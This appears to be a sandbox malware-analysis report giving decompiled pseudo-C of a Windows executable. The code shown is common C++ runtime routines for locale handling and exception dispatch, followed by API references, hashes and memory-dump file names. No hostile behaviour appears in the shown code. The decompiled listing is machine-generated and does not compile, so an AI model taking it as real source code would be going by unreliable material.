									_v20 = 0;
									__eflags = _t377;
									if(_t377 == 0) {
										E001A62F1("bad locale name");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										_push(_t338);
										_t186 = _v76;
										_push(_t408);
										_push(_t377);
										_t378 = _v72;
										_t410 = _t338;
										_v84 = _v76;
										__eflags = _t378 - 0x7fffffff;
										if(__eflags > 0) {
											E001A13F0(_t338, __eflags);
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											_t427 = _t426 - 0x18;
											_t188 =  *0x1d5010; // 0x8121a627
											_v92 = _t188 ^ _t427;
											_push(_t319);
											_push(_t410);
											_push(_t393);
											_push(_t378);
											_v104 = _v84;
											E001A612A( &_v96, 0);
											_t379 =  *0x203578; // 0x4
											_t321 =  *0x20356c; // 0xb13410
											_v112 = _t321;
											__eflags = _t379;
											if(_t379 == 0) {
												E001A612A( &_v100, _t379);
												__eflags =  *0x203578 - _t379; // 0x4
												if(__eflags == 0) {
													_t283 =  *0x202708; // 0x4
													_t284 = _t283 + 1;
													__eflags = _t284;
													 *0x202708 = _t284;
													 *0x203578 = _t284;
												}
												E001A6182( &_v100);
												_t379 =  *0x203578; // 0x4
											}
											_t340 = _a4;
											_t412 = _t379 * 4;
											__eflags = _t379 - _t340[3];
											if(_t379 >= _t340[3]) {
												_t395 = 0;
												__eflags = 0;
												goto L49;
											} else {
												_t395 =  *(_t340[2] + _t412);
												__eflags = _t395;
												if(_t395 != 0) {
													L57:
													E001A6182( &_v96);
													_pop(_t380);
													_pop(_t396);
													_pop(_t322);
													__eflags = _v92 ^ _t427;
													return E001A9545(_t395, _t322, _v92 ^ _t427, _t371, _t380, _t396);
												} else {
													L49:
													__eflags = _t340[5];
													if(_t340[5] == 0) {
														L52:
														__eflags = _t395;
														if(_t395 != 0) {
															goto L57;
														} else {
															goto L53;
														}
													} else {
														_t278 = E001A6477();
														__eflags = _t379 -  *((intOrPtr*)(_t278 + 0xc));
														if(_t379 >=  *((intOrPtr*)(_t278 + 0xc))) {
															L53:
															__eflags = _t321;
															if(_t321 == 0) {
																_push(_v104);
																_t195 = E001A59A0(_t321, _t371,  &_v108);
																_t429 = _t427 + 8;
																__eflags = _t195 - 0xffffffff;
																if(__eflags == 0) {
																	E001A1910();
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	_t430 = _t429 - 0xc;
																	_t372 =  *(_t430 + 0x10);
																	_push(_t321);
																	_t323 = _t340;
																	 *((intOrPtr*)(_t430 + 0xc)) = _v108;
																	_push(_t412);
																	_t414 = _t323[4];
																	__eflags = 0x7fffffff - _t414 - _t372;
																	if(__eflags < 0) {
																		E001A13F0(0x7fffffff, __eflags);
																		goto L80;
																	} else {
																		_push(_t395);
																		_t395 = _t323[5];
																		_t255 = _t372 + _t414;
																		_push(_t379);
																		_v132 = _t255;
																		_t385 = _t255 | 0x0000000f;
																		_v128 = _t395;
																		__eflags = _t385 - 0x7fffffff;
																		if(_t385 <= 0x7fffffff) {
																			_t257 = _t395 >> 1;
																			__eflags = _t395 - 0x7fffffff - _t257;
																			if(_t395 <= 0x7fffffff - _t257) {
																				_t258 = _t257 + _t395;
																				__eflags = _t385 - _t258;
																				_t379 =  <  ? _t258 : _t385;
																				_t94 = _t379 + 1; // 0x80000000
																				_t359 = _t94;
																				__eflags = _t359 - 0x1000;
																				if(_t359 < 0x1000) {
																					__eflags = _t359;
																					if(__eflags == 0) {
																						_t395 = 0;
																						__eflags = 0;
																					} else {
																						_t272 = E001A9553(_t395, __eflags, _t359);
																						_t430 = _t430 + 4;
																						_t395 = _t272;
																					}
																					goto L73;
																				} else {
																					_t95 = _t359 + 0x23; // 0x80000023
																					_t273 = _t95;
																					__eflags = _t95 - _t359;
																					if(__eflags <= 0) {
																						L80:
																						E001A1370();
																						goto L81;
																					} else {
																						goto L63;
																					}
																				}
																			} else {
																				_t379 = 0x7fffffff;
																				goto L62;
																			}
																		} else {
																			_t379 = 0x7fffffff;
																			L62:
																			_t273 = 0xffffffff80000023;
																			__eflags = 0x80000000;
																			L63:
																			_t274 = E001A9553(_t395, __eflags, _t273);
																			_t430 = _t430 + 4;
																			__eflags = _t274;
																			if(_t274 == 0) {
																				L81:
																				L121();
																				asm("int3");
																				_t431 = _t430 - 0x88;
																				_t202 =  *0x1d5010; // 0x8121a627
																				_v136 = _t202 ^ _t431;
																				_push(_t323);
																				_t324 = _v128;
																				_push(_t414);
																				_push(_t395);
																				_push(_t379);
																				 *((intOrPtr*)(_t431 + 0x48)) = _t324;
																				E001A612A( &_v144, 0);
																				_t381 =  *0x20271c; // 0x1
																				_t415 =  *0x203570; // 0xb12ad8
																				__eflags = _t381;
																				if(_t381 == 0) {
																					E001A612A( &_v140, _t381);
																					__eflags =  *0x20271c - _t381; // 0x1
																					if(__eflags == 0) {
																						_t253 =  *0x202708; // 0x4
																						_t254 = _t253 + 1;
																						__eflags = _t254;
																						 *0x202708 = _t254;
																						 *0x20271c = _t254;
																					}
																					E001A6182( &_v140);
																					_t381 =  *0x20271c; // 0x1
																				}
																				_t346 =  *((intOrPtr*)(_t324 + 4));
																				_t325 = _t381 * 4;
																				__eflags = _t381 -  *((intOrPtr*)(_t346 + 0xc));
																				if(_t381 >=  *((intOrPtr*)(_t346 + 0xc))) {
																					_t397 = 0;
																					__eflags = 0;
																					goto L90;
																				} else {
																					_t397 =  *(_t325 +  *((intOrPtr*)(_t346 + 8)));
																					__eflags = _t397;
																					if(_t397 == 0) {
																						L90:
																						__eflags =  *((char*)(_t346 + 0x14));
																						if( *((char*)(_t346 + 0x14)) == 0) {
																							L93:
																							__eflags = _t397;
																							if(_t397 != 0) {
																								goto L88;
																							} else {
																								goto L94;
																							}
																						} else {
																							_t248 = E001A6477();
																							__eflags = _t381 -  *((intOrPtr*)(_t248 + 0xc));
																							if(_t381 >=  *((intOrPtr*)(_t248 + 0xc))) {
																								L94:
																								__eflags = _t415;
																								if(__eflags == 0) {
																									_t397 = E001A9553(_t397, __eflags, 0x44);
																									_t433 = _t431 + 4;
																									_t210 =  *( *((intOrPtr*)(_t433 + 0x44)) + 4);
																									__eflags = _t210;
																									if(_t210 == 0) {
																										_t383 = 0x1d245f;
																									} else {
																										_t383 =  *(_t210 + 0x18);
																										__eflags = _t383;
																										if(_t383 == 0) {
																											_t383 = _t210 + 0x1c;
																										}
																									}
																									E001A612A( &_v264, 0);
																									_v264 = 0;
																									_v260 = 0;
																									_v256 = 0;
																									_v252 = 0;
																									_v248 = 0;
																									_v244 = 0;
																									_v240 = 0;
																									_v236 = 0;
																									_v232 = 0;
																									_v228 = 0;
																									_v224 = 0;
																									_v220 = 0;
																									__eflags = _t383;
																									if(_t383 == 0) {
																										E001A62F1("bad locale name");
																										asm("int3");
																										asm("int3");
																										asm("int3");
																										asm("int3");
																										asm("int3");
																										asm("int3");
																										asm("int3");
																										asm("int3");
																										asm("int3");
																										asm("int3");
																										asm("int3");
																										asm("int3");
																										asm("int3");
																										asm("int3");
																										_t351 =  *((intOrPtr*)(_t433 + 8));
																										_t214 = _v276;
																										__eflags = _t351 - 0x1000;
																										if(_t351 < 0x1000) {
																											L118:
																											 *((intOrPtr*)(_t433 + 8)) = _t351;
																											_v276 = _t214;
																											_push(_t415);
																											return L001A9F7A(_v276);
																										} else {
																											_t373 =  *((intOrPtr*)(_t214 - 4));
																											_t351 = _t351 + 0x23;
																											__eflags = _t214 - _t373 + 0xfffffffc - 0x1f;
																											if(_t214 - _t373 + 0xfffffffc > 0x1f) {
																												_push(_t397);
																												_t399 = _t397 ^ _t397;
																												E001AFD8F(_t399, _t399, _t399, _t399, _t399);
																												_push(_t399);
																												_push(_t399);
																												_push(_t399);
																												_push(_t399);
																												_push(_t399);
																												L122();
																												asm("int3");
																												_t219 = IsProcessorFeaturePresent(0x17);
																												__eflags = _t219;
																												if(_t219 != 0) {
																													_push(5);
																													asm("int 0x29");
																												}
																												_push(_t399);
																												E001AFC47(_t325, _t373, 0xc0000417, 2, 0xc0000417, 1);
																												return TerminateProcess(GetCurrentProcess(), 0xc0000417);
																											} else {
																												_t214 = _t373;
																												goto L118;
																											}
																										}
																									} else {
																										E001A657D( &_v264,  &_v264, _t383);
																										 *(_t397 + 4) = 0;
																										 *_t397 = 0x1c72dc;
																										E001A8D38(_t383, _t397, __eflags, _t433 + 0x50);
																										_t436 = _t433 + 0xc;
																										asm("movups xmm0, [eax]");
																										asm("movups [esi+0x8], xmm0");
																										_t228 = E001A8EAF(_t436 + 0x58);
																										asm("movups xmm0, [eax]");
																										asm("movups [esi+0x18], xmm0");
																										asm("movups xmm0, [eax+0x10]");
																										asm("movups [esi+0x28], xmm0");
																										asm("movq xmm0, [eax+0x20]");
																										asm("movq [esi+0x38], xmm0");
																										 *((intOrPtr*)(_t397 + 0x40)) =  *((intOrPtr*)(_t228 + 0x28));
																										E001A65C8( &_v264,  &_v264);
																										_t232 = _v220;
																										_t438 = _t436 + 8;
																										__eflags = _t232;
																										if(_t232 != 0) {
																											E001AFB09(_t232);
																											_t438 = _t438 + 4;
																										}
																										_t233 = _v228;
																										_v220 = 0;
																										__eflags = _t233;
																										if(_t233 != 0) {
																											E001AFB09(_t233);
																											_t438 = _t438 + 4;
																										}
																										_t234 = _v236;
																										_v228 = 0;
																										__eflags = _t234;
																										if(_t234 != 0) {
																											E001AFB09(_t234);
																											_t438 = _t438 + 4;
																										}
																										_t235 = _v244;
																										_v236 = 0;
																										__eflags = _t235;
																										if(_t235 != 0) {
																											E001AFB09(_t235);
																											_t438 = _t438 + 4;
																										}
																										_t236 = _v252;
																										_v244 = 0;
																										__eflags = _t236;
																										if(_t236 != 0) {
																											E001AFB09(_t236);
																											_t438 = _t438 + 4;
																										}
																										_t237 = _v260;
																										_v252 = 0;
																										__eflags = _t237;
																										if(_t237 != 0) {
																											E001AFB09(_t237);
																											_t438 = _t438 + 4;
																										}
																										_v260 = 0;
																										E001A6182( &_v264);
																										E001A644B(__eflags, _t397);
																										_t431 = _t438 + 4;
																										 *((intOrPtr*)( *_t397 + 4))();
																										 *0x203570 = _t397;
																										goto L88;
																									}
																								} else {
																									_t397 = _t415;
																									goto L88;
																								}
																							} else {
																								_t397 =  *(_t325 +  *((intOrPtr*)(_t248 + 8)));
																								goto L93;
																							}
																						}
																					} else {
																						L88:
																						E001A6182( &_v144);
																						_pop(_t382);
																						_pop(_t398);
																						_pop(_t326);
																						__eflags = _v136 ^ _t431;
																						return E001A9545(_t397, _t326, _v136 ^ _t431, _t372, _t382, _t398);
																					}
																				}
																			} else {
																				_t92 = _t274 + 0x23; // 0x23
																				_t395 = _t92 & 0xffffffe0;
																				 *(_t395 - 4) = _t274;
																				L73:
																				_t323[4] = _v132;
																				_t323[5] = _t379;
																				_t386 = _t395 + _t414;
																				__eflags = _v128 - 0x10;
																				_v132 = _v104 + _t395 + _t414;
																				_push(_t414);
																				if(_v128 < 0x10) {
																					_push(_t323);
																					_push(_t395);
																					E001AA810();
																					E001AA810(_t386,  *((intOrPtr*)(_t430 + 0x28)), _v104);
																					 *_v132 = 0;
																					 *_t323 = _t395;
																					return _t323;
																				} else {
																					_t388 =  *_t323;
																					_push(_t388);
																					_push(_t395);
																					E001AA810();
																					E001AA810(_t395 + _t414,  *((intOrPtr*)(_t430 + 0x28)), _v104);
																					_t430 = _t430 + 0x18;
																					_t361 = _v128 + 1;
																					 *_v132 = 0;
																					__eflags = _t361 - 0x1000;
																					if(_t361 < 0x1000) {
																						L77:
																						_push(_t361);
																						_push(_t388);
																						L120();
																						 *_t323 = _t395;
																						return _t323;
																					} else {
																						_t372 =  *(_t388 - 4);
																						_t361 = _t361 + 0x23;
																						_t379 = _t388 - _t372;
																						_t109 = _t379 - 4; // 0x7ffffffb
																						__eflags = _t109 - 0x1f;
																						if(_t109 > 0x1f) {
																							goto L81;
																						} else {
																							_t388 = _t372;
																							goto L77;
																						}
																					}
																				}
																			}
																		}
																	}
																} else {
																	_t395 = _v104;
																	E001A644B(__eflags, _t395);
																	_t371 =  *_t395;
																	_t427 = _t429 + 4;
																	 *((intOrPtr*)( *_t395 + 4))();
																	 *0x20356c = _t395;
																	goto L57;
																}
															} else {
																_t395 = _t321;
																goto L57;
															}
														} else {
															_t395 =  *( *((intOrPtr*)(_t278 + 8)) + _t412);
															goto L52;
														}
													}
												}
											}
										} else {
											_a20 = 0xf;
											__eflags = _t378 - 0x10;
											if(_t378 >= 0x10) {
												_push(_t319);
												_t330 = _t378 | 0x0000000f;
												_push(_t393);
												__eflags = _t330 - 0x7fffffff;
												if(_t330 <= 0x7fffffff) {
													__eflags = _t330 - 0x16;
													_t331 =  <  ? 0x16 : _t330;
												} else {
													_t331 = 0x7fffffff;
												}
												_t57 = _t331 + 1; // 0x80000000
												_t405 = E001A5E90();
												_a16 = _t378;
												 *_t410 = _t405;
												_a20 = _t331;
												_t288 = E001AA810(_t405, _v88, _t378);
												 *((char*)(_t378 + _t405)) = 0;
												return _t288;
											} else {
												_a16 = _t378;
												return E001AA810(_t410, _t186, _t378);
											}
										}
									} else {
										E001A657D(_t338,  &_v64, _t377);
										 *(_t393 + 4) = 0;
										 *_t393 = 0x1c811c;
										E001A65C8(_t338,  &_v64);
										_t294 = _v20;
										_t445 = _t426 + 0xc;
										__eflags = _t294;
										if(_t294 != 0) {
											E001AFB09(_t294);
											_t445 = _t445 + 4;
										}
										_t295 = _v28;
										_v20 = 0;
										__eflags = _t295;
										if(_t295 != 0) {
											E001AFB09(_t295);
											_t445 = _t445 + 4;
										}
										_t296 = _v36;
										_v28 = 0;
										__eflags = _t296;
										if(_t296 != 0) {
											E001AFB09(_t296);
											_t445 = _t445 + 4;
										}
										_t297 = _v44;
										_v36 = 0;
										__eflags = _t297;
										if(_t297 != 0) {
											E001AFB09(_t297);
											_t445 = _t445 + 4;
										}
										_t298 = _v52;
										_v44 = 0;
										__eflags = _t298;
										if(_t298 != 0) {
											E001AFB09(_t298);
											_t445 = _t445 + 4;
										}
										_t299 = _v60;
										_v52 = 0;
										__eflags = _t299;
										if(_t299 != 0) {
											E001AFB09(_t299);
											_t445 = _t445 + 4;
										}
										_v60 = 0;
										E001A6182( &_v64);
										E001A644B(__eflags, _t393);
										_t424 = _t445 + 4;
										 *((intOrPtr*)( *_t393 + 4))();
										 *0x203574 = _t393;
										goto L6;
									}
								} else {
									_t393 = _t408;
									goto L6;
								}
							} else {
								_t393 =  *(_t319 +  *((intOrPtr*)(_t310 + 8)));
								goto L11;
							}
						}
					} else {
						L6:
						E001A6182( &_v12);
						_pop(_t376);
						_pop(_t394);
						_pop(_t320);
						return E001A9545(_t393, _t320, _v4 ^ _t424, _t371, _t376, _t394);
					}
				}
			}

0x001a4eb0
0x001a4eb0
0x001a4eb3
0x001a4eba
0x001a4ebe
0x001a4ebf
0x001a4ec9
0x001a4ecc
0x001a4ed0
0x001a4ed5
0x001a4edb
0x001a4ee3
0x001a4eea
0x001a4eef
0x001a4ef5
0x001a4ef7
0x001a4efc
0x001a4efd
0x001a4f02
0x001a4f02
0x001a4f0b
0x001a4f10
0x001a4f10
0x001a4f16
0x001a4f19
0x001a4f23
0x001a4f4d
0x001a4f4d
0x00000000
0x001a4f25
0x001a4f28
0x001a4f2d
0x001a4f4f
0x001a4f4f
0x001a4f53
0x001a4f65
0x001a4f65
0x001a4f67
0x00000000
0x00000000
0x00000000
0x00000000
0x001a4f55
0x001a4f55
0x001a4f5a
0x001a4f5d
0x001a4f69
0x001a4f69
0x001a4f6b
0x001a4f78
0x001a4f7a
0x001a4f81
0x001a4f84
0x001a4f86
0x001a4f94
0x001a4f88
0x001a4f88
0x001a4f8b
0x001a4f8d
0x001a4f8f
0x001a4f8f
0x001a4f8d
0x001a4f9b
0x001a4f9f
0x001a4fa6
0x001a4fae
0x001a4fb3
0x001a4fbb
0x001a4fc0
0x001a4fc8
0x001a4fcd
0x001a4fd1
0x001a4fd6
0x001a4fda
0x001a4fde
0x001a4fe2
0x001a4fe6
0x001a4fe8
0x001a50d2
0x001a50d7
0x001a50d8
0x001a50d9
0x001a50da
0x001a50db
0x001a50dc
0x001a50dd
0x001a50de
0x001a50df
0x001a50e0
0x001a50e1
0x001a50e5
0x001a50e6
0x001a50e7
0x001a50eb
0x001a50ed
0x001a50f1
0x001a50f7
0x001a5167
0x001a516c
0x001a516d
0x001a516e
0x001a516f
0x001a5170
0x001a5173
0x001a517a
0x001a517e
0x001a517f
0x001a5188
0x001a5189
0x001a518c
0x001a5190
0x001a5195
0x001a519b
0x001a51a1
0x001a51a5
0x001a51a7
0x001a51ae
0x001a51b3
0x001a51b9
0x001a51bb
0x001a51c0
0x001a51c0
0x001a51c1
0x001a51c6
0x001a51c6
0x001a51cf
0x001a51d4
0x001a51d4
0x001a51da
0x001a51dd
0x001a51e4
0x001a51e7
0x001a51f5
0x001a51f5
0x00000000
0x001a51e9
0x001a51ec
0x001a51ef
0x001a51f1
0x001a5249
0x001a524d
0x001a5258
0x001a5259
0x001a525b
0x001a525c
0x001a5266
0x001a51f3
0x001a51f7
0x001a51f7
0x001a51fb
0x001a520d
0x001a520d
0x001a520f
0x00000000
0x00000000
0x00000000
0x00000000
0x001a51fd
0x001a51fd
0x001a5202
0x001a5205
0x001a5211
0x001a5211
0x001a5213
0x001a5219
0x001a5222
0x001a5227
0x001a522a
0x001a522d
0x001a5267
0x001a526c
0x001a526d
0x001a526e
0x001a526f
0x001a5270
0x001a5277
0x001a527b
0x001a527c
0x001a527e
0x001a5287
0x001a528a
0x001a528f
0x001a5291
0x001a53c0
0x00000000
0x001a5297
0x001a5297
0x001a5298
0x001a529b
0x001a529e
0x001a52a1
0x001a52a5
0x001a52a8
0x001a52ac
0x001a52ae
0x001a52d8
0x001a52dc
0x001a52de
0x001a52e7
0x001a52e9
0x001a52eb
0x001a52ee
0x001a52ee
0x001a52f1
0x001a52f7
0x001a5306
0x001a5308
0x001a5317
0x001a5317
0x001a530a
0x001a530b
0x001a5310
0x001a5313
0x001a5313
0x00000000
0x001a52f9
0x001a52f9
0x001a52f9
0x001a52fc
0x001a52fe
0x001a53c5
0x001a53c5
0x00000000
0x001a5304
0x00000000
0x001a5304
0x001a52fe
0x001a52e0
0x001a52e0
0x00000000
0x001a52e0
0x001a52b0
0x001a52b0
0x001a52b2
0x001a52b7
0x001a52b7
0x001a52ba
0x001a52bb
0x001a52c0
0x001a52c3
0x001a52c5
0x001a53ca
0x001a53ca
0x001a53cf
0x001a53d0
0x001a53d6
0x001a53dd
0x001a53e4
0x001a53e5
0x001a53f3
0x001a53f4
0x001a53f5
0x001a53f8
0x001a53fc
0x001a5401
0x001a5407
0x001a540d
0x001a540f
0x001a5419
0x001a541e
0x001a5424
0x001a5426
0x001a542b
0x001a542b
0x001a542c
0x001a5431
0x001a5431
0x001a543d
0x001a5442
0x001a5442
0x001a5448
0x001a544b
0x001a5452
0x001a5455
0x001a5488
0x001a5488
0x00000000
0x001a5457
0x001a545a
0x001a545d
0x001a545f
0x001a548a
0x001a548a
0x001a548e
0x001a54a0
0x001a54a0
0x001a54a2
0x00000000
0x00000000
0x00000000
0x00000000
0x001a5490
0x001a5490
0x001a5495
0x001a5498
0x001a54a4
0x001a54a4
0x001a54a6
0x001a54b3
0x001a54b5
0x001a54bc
0x001a54bf
0x001a54c1
0x001a54cf
0x001a54c3
0x001a54c3
0x001a54c6
0x001a54c8
0x001a54ca
0x001a54ca
0x001a54c8
0x001a54da
0x001a54e1
0x001a54e9
0x001a54ee
0x001a54f6
0x001a54fb
0x001a5503
0x001a5508
0x001a550c
0x001a5511
0x001a5515
0x001a5519
0x001a551d
0x001a5521
0x001a5523
0x001a564d
0x001a5652
0x001a5653
0x001a5654
0x001a5655
0x001a5656
0x001a5657
0x001a5658
0x001a5659
0x001a565a
0x001a565b
0x001a565c
0x001a565d
0x001a565e
0x001a565f
0x001a5660
0x001a5664
0x001a5668
0x001a566e
0x001a5682
0x001a5682
0x001a5686
0x001a9583
0x001a9590
0x001a5670
0x001a5670
0x001a5673
0x001a567b
0x001a567e
0x001afe55
0x001afe56
0x001afe5d
0x001afe65
0x001afe66
0x001afe67
0x001afe68
0x001afe69
0x001afe6a
0x001afe6f
0x001afe72
0x001afe78
0x001afe7a
0x001afe7c
0x001afe7f
0x001afe7f
0x001afe81
0x001afe8c
0x001afea3
0x001a5680
0x001a5680
0x00000000
0x001a5680
0x001a567e
0x001a5529
0x001a552f
0x001a5538
0x001a5540
0x001a5546
0x001a554b
0x001a554e
0x001a5556
0x001a555a
0x001a5562
0x001a5565
0x001a5569
0x001a556d
0x001a5571
0x001a5576
0x001a557e
0x001a5586
0x001a558b
0x001a558f
0x001a5592
0x001a5594
0x001a5597
0x001a559c
0x001a559c
0x001a559f
0x001a55a3
0x001a55ab
0x001a55ad
0x001a55b0
0x001a55b5
0x001a55b5
0x001a55b8
0x001a55bc
0x001a55c4
0x001a55c6
0x001a55c9
0x001a55ce
0x001a55ce
0x001a55d1
0x001a55d5
0x001a55dd
0x001a55df
0x001a55e2
0x001a55e7
0x001a55e7
0x001a55ea
0x001a55ee
0x001a55f6
0x001a55f8
0x001a55fb
0x001a5600
0x001a5600
0x001a5603
0x001a5607
0x001a560f
0x001a5611
0x001a5614
0x001a5619
0x001a5619
0x001a5620
0x001a5628
0x001a562e
0x001a5635
0x001a563a
0x001a563d
0x00000000
0x001a563d
0x001a54a8
0x001a54a8
0x00000000
0x001a54a8
0x001a549a
0x001a549d
0x00000000
0x001a549d
0x001a5498
0x001a5461
0x001a5461
0x001a5468
0x001a5476
0x001a5477
0x001a5479
0x001a547a
0x001a5487
0x001a5487
0x001a545f
0x001a52cb
0x001a52cb
0x001a52ce
0x001a52d1
0x001a5319
0x001a531d
0x001a5324
0x001a5327
0x001a532c
0x001a5331
0x001a5335
0x001a5336
0x001a5393
0x001a5394
0x001a5395
0x001a53a3
0x001a53b0
0x001a53b5
0x001a53bd
0x001a5338
0x001a5338
0x001a533a
0x001a533b
0x001a533c
0x001a534d
0x001a5356
0x001a535d
0x001a535e
0x001a5361
0x001a5367
0x001a537b
0x001a537b
0x001a537c
0x001a537d
0x001a5385
0x001a5390
0x001a5369
0x001a5369
0x001a536c
0x001a536f
0x001a5371
0x001a5374
0x001a5377
0x00000000
0x001a5379
0x001a5379
0x00000000
0x001a5379
0x001a5377
0x001a5367
0x001a5336
0x001a52c5
0x001a52ae
0x001a522f
0x001a522f
0x001a5234
0x001a5239
0x001a523b
0x001a5240
0x001a5243
0x00000000
0x001a5243
0x001a5215
0x001a5215
0x00000000
0x001a5215
0x001a5207
0x001a520a
0x00000000
0x001a520a
0x001a5205
0x001a51fb
0x001a51f1
0x001a50f9
0x001a50f9
0x001a5100
0x001a5103
0x001a5119
0x001a511c
0x001a511f
0x001a5120
0x001a5126
0x001a5134
0x001a5136
0x001a5128
0x001a5128
0x001a5128
0x001a5139
0x001a5147
0x001a5149
0x001a514d
0x001a5150
0x001a5153
0x001a515b
0x001a5164
0x001a5105
0x001a5108
0x001a5116
0x001a5116
0x001a5103
0x001a4fee
0x001a4ff4
0x001a4ffd
0x001a5005
0x001a500b
0x001a5010
0x001a5014
0x001a5017
0x001a5019
0x001a501c
0x001a5021
0x001a5021
0x001a5024
0x001a5028
0x001a5030
0x001a5032
0x001a5035
0x001a503a
0x001a503a
0x001a503d
0x001a5041
0x001a5049
0x001a504b
0x001a504e
0x001a5053
0x001a5053
0x001a5056
0x001a505a
0x001a5062
0x001a5064
0x001a5067
0x001a506c
0x001a506c
0x001a506f
0x001a5073
0x001a507b
0x001a507d
0x001a5080
0x001a5085
0x001a5085
0x001a5088
0x001a508c
0x001a5094
0x001a5096
0x001a5099
0x001a509e
0x001a509e
0x001a50a5
0x001a50ad
0x001a50b3
0x001a50ba
0x001a50bf
0x001a50c2
0x00000000
0x001a50c2
0x001a4f6d
0x001a4f6d
0x00000000
0x001a4f6d
0x001a4f5f
0x001a4f62
0x00000000
0x001a4f62
0x001a4f5d
0x001a4f2f
0x001a4f2f
0x001a4f33
0x001a4f3e
0x001a4f3f
0x001a4f41
0x001a4f4c
0x001a4f4c
0x001a4f2d

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 001A4ED0
std::_Lockit::_Lockit.LIBCPMT ref: 001A4EEA
std::_Lockit::~_Lockit.LIBCPMT ref: 001A4F0B
std::_Lockit::~_Lockit.LIBCPMT ref: 001A4F33
std::_Lockit::_Lockit.LIBCPMT ref: 001A4F9F
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 001A4FF4
std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 001A500B
std::_Lockit::~_Lockit.LIBCPMT ref: 001A50AD
std::_Facet_Register.LIBCPMT ref: 001A50B3

Part of subcall function 001A62F1: std::invalid_argument::invalid_argument.LIBCONCRT ref: 001A62FD

Strings

bad locale name, xrefs: 001A50CD

Memory Dump Source

Source File: 00000000.00000002.347566264.00000000001A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001A0000, based on PE: true

Associated: 00000000.00000002.347556970.00000000001A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347669983.00000000001C7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347813163.00000000001D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347876847.0000000000204000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_file.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Locinfo::_$Facet_Locinfo_ctorLocinfo_dtorRegisterstd::invalid_argument::invalid_argument
String ID: bad locale name
API String ID: 1592514138-1405518554
Opcode ID: e83ff343aa5028aa9c88429b06c7bf1f1feaa3ecffdbbbbf2fc38085d420d547
Instruction ID: 36145e512a6d872656406b47233744deb6ba1623c7d7629a066fe189a5bb8bc7
Opcode Fuzzy Hash: e83ff343aa5028aa9c88429b06c7bf1f1feaa3ecffdbbbbf2fc38085d420d547
Instruction Fuzzy Hash: 0D51A0B89083409FD710DF68D845B1BBBE4AFE6354F09082CF88497352E770E909CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 001ACCE8 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 63%

			E001ACCE8(signed int __edx, signed char* _a4, signed int _a8, signed int _a12, char _a16, signed int* _a20, signed int _a24, signed int _a28, signed int _a32) {
				signed char* _v0;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				intOrPtr _v24;
				char _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				intOrPtr _v48;
				signed int _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				void _v64;
				signed int _v68;
				char _v84;
				intOrPtr _v88;
				signed int _v92;
				intOrPtr _v100;
				void _v104;
				intOrPtr* _v112;
				signed char* _v184;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t201;
				signed int _t202;
				char _t203;
				signed int _t205;
				signed int _t207;
				signed char* _t208;
				signed int _t209;
				signed int _t210;
				signed int _t214;
				void* _t217;
				signed char* _t220;
				void* _t222;
				void* _t224;
				signed char _t228;
				signed int _t229;
				void* _t231;
				void* _t234;
				void* _t237;
				signed int _t247;
				void* _t250;
				intOrPtr* _t251;
				signed int _t252;
				intOrPtr _t253;
				signed int _t254;
				void* _t259;
				void* _t264;
				void* _t265;
				signed int _t269;
				signed char* _t270;
				intOrPtr* _t271;
				signed char _t272;
				signed int _t273;
				signed int _t274;
				intOrPtr* _t276;
				signed int _t277;
				signed int _t278;
				signed int _t283;
				signed int _t290;
				signed int _t291;
				signed int _t294;
				signed int _t296;
				signed char* _t297;
				signed int _t298;
				signed char _t299;
				signed int* _t301;
				signed char* _t304;
				signed int _t314;
				signed int _t315;
				signed int _t317;
				signed int _t327;
				void* _t329;
				void* _t331;
				void* _t332;
				void* _t333;
				void* _t334;

				_t296 = __edx;
				_push(_t315);
				_t301 = _a20;
				_v20 = 0;
				_v28 = 0;
				_t275 = E001ADC60(_a8, _a16, _t301);
				_t332 = _t331 + 0xc;
				_v12 = _t275;
				if(_t275 < 0xffffffff || _t275 >= _t301[1]) {
					L67:
					_t201 = E001B2DB9(_t270, _t275, _t296, _t315);
					asm("int3");
					_t329 = _t332;
					_t333 = _t332 - 0x38;
					_push(_t270);
					_t271 = _v112;
					__eflags =  *_t271 - 0x80000003;
					if( *_t271 == 0x80000003) {
						return _t201;
					} else {
						_t202 = E001AC96C(_t271, _t275, _t296, _t315, _t301, _t315);
						__eflags =  *(_t202 + 8);
						if( *(_t202 + 8) != 0) {
							__imp__EncodePointer(0);
							_t315 = _t202;
							_t222 = E001AC96C(_t271, _t275, _t296, _t315);
							__eflags =  *((intOrPtr*)(_t222 + 8)) - _t315;
							if( *((intOrPtr*)(_t222 + 8)) != _t315) {
								__eflags =  *_t271 - 0xe0434f4d;
								if( *_t271 != 0xe0434f4d) {
									__eflags =  *_t271 - 0xe0434352;
									if( *_t271 != 0xe0434352) {
										_t214 = E001AA519(_t296, _t315, _t271, _a4, _a8, _a12, _a16, _a24, _a28);
										_t333 = _t333 + 0x1c;
										__eflags = _t214;
										if(_t214 != 0) {
											L84:
											return _t214;
										}
									}
								}
							}
						}
						_t203 = _a16;
						_v28 = _t203;
						_v24 = 0;
						__eflags =  *(_t203 + 0xc);
						if( *(_t203 + 0xc) > 0) {
							_push(_a24);
							E001AA44C(_t271, _t275, 0, _t315,  &_v44,  &_v28, _a20, _a12, _t203);
							_t298 = _v40;
							_t334 = _t333 + 0x18;
							_t214 = _v44;
